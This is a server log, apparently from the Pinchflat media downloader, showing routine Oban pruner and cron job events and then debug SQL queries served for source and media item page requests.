{"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:59.238 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.087 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:13:29.239 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:59.241 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.088 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:29.243 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:59.245 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.089 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:29.247 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:59.249 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.090 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:29.251 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:59.253 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.091 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:29.255 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:59.257 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.092 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:29.259 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:59.261 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.093 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:29.263 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:59.265 [info] {"source":"oban","duration":1838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.094 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:29.267 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:59.268 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.095 [info] {"source":"oban","duration":151,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:29.269 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:59.271 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.096 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:29.273 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:59.275 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.097 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:29.277 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:59.279 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.098 [info] {"source":"oban","duration":152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:24:29.281 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:59.283 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.099 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:25:29.285 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:59.287 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.100 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:26:29.289 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:59.291 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.101 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:27:29.293 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:59.295 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.102 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:28:29.297 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:59.299 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.103 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:29:29.301 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:59.303 [info] {"source":"oban","duration":1105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.104 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:30:29.305 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:59.307 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.106 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:31:29.309 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:59.311 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.107 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:32:29.313 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:59.315 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.108 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:33:29.316 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:59.319 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.109 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:34:29.321 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:59.323 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.110 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:35:29.325 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:59.327 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.111 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:36:29.329 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:59.331 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.112 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:37:29.333 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:59.335 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.113 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:38:29.337 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:59.339 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.114 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:39:29.342 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:59.344 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.115 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:40:29.346 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:59.348 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.116 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:41:29.350 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:59.351 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.117 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:42:29.354 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:59.356 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.118 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:43:29.358 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:59.360 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.119 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:44:29.361 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:59.364 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.120 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:45:29.366 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:59.368 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.121 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:46:29.370 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:59.372 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.122 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:47:29.374 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:59.376 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.123 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:48:29.378 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:59.380 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.124 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:49:29.382 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:59.384 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.125 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:50:29.386 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:59.387 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.126 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:51:29.390 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:59.392 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.127 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:52:29.394 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:59.396 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.128 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:53:29.398 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:59.400 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.129 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:54:29.402 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:59.404 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.130 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:55:29.406 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:59.408 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.131 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:56:29.410 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:59.412 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.132 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:57:29.414 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:59.416 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.133 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:58:29.418 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:59.420 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.134 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:59:00.572 [info] GET /sources/1/media/111 00:59:00.572 [info] GET /sources/1 00:59:00.572 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "111", "source_id" => "1"} Pipelines: [:browser] 00:59:00.572 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 00:59:00.573 [debug] QUERY OK source="media_items" db=0.6ms idle=438.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [111] 00:59:00.573 [debug] QUERY OK source="sources" db=0.8ms idle=236.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:59:00.574 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=53.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [111] 00:59:00.575 [debug] QUERY OK source="sources" db=1.2ms idle=53.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:59:00.575 [debug] QUERY OK source="media_profiles" db=1.5ms idle=53.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:59:00.576 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=2.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [110] 00:59:00.577 [debug] QUERY OK source="tasks" db=1.0ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 00:59:00.577 [debug] QUERY OK source="settings" db=0.8ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:00.578 [debug] QUERY OK source="oban_jobs" db=0.5ms queue=0.1ms idle=2.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [114] 00:59:00.578 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:00.579 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:00.579 [debug] QUERY OK source="settings" db=0.4ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:00.580 [debug] QUERY OK source="settings" db=1.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:00.582 [debug] QUERY OK source="settings" db=0.4ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:59:00.582 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:59:00.583 [debug] QUERY OK source="sources" db=0.0ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:59:00.583 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 00:59:00.584 [info] Sent 200 in 11ms 00:59:00.584 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 00:59:00.584 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:59:00.584 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 00:59:00.585 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 00:59:00.585 [debug] QUERY OK 